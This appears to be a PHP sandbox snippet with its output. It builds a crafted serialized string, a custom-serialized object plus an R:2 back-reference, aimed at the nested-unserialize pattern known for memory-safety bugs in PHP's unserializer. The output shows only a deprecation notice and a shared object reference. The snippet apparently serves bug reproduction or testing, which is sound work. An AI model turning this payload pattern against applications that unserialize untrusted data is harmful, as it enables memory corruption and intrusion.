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<?php class obj implements Serializable { private $data; public function serialize() { } public function unserialize($data) { $this->data = unserialize($data); $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:2;}'; $data = unserialize($exploit); var_dump($data);
Output for git.master, git.master_jit, rfc.property-hooks
Deprecated: obj implements the Serializable interface, which is deprecated. Implement __serialize() and __unserialize() instead (or in addition, if support for old PHP versions is necessary) in /in/JvrVs on line 2 array(2) { [0]=> &object(obj)#1 (1) { ["data":"obj":private]=> int(1) } [1]=> &object(obj)#1 (1) { ["data":"obj":private]=> int(1) } }

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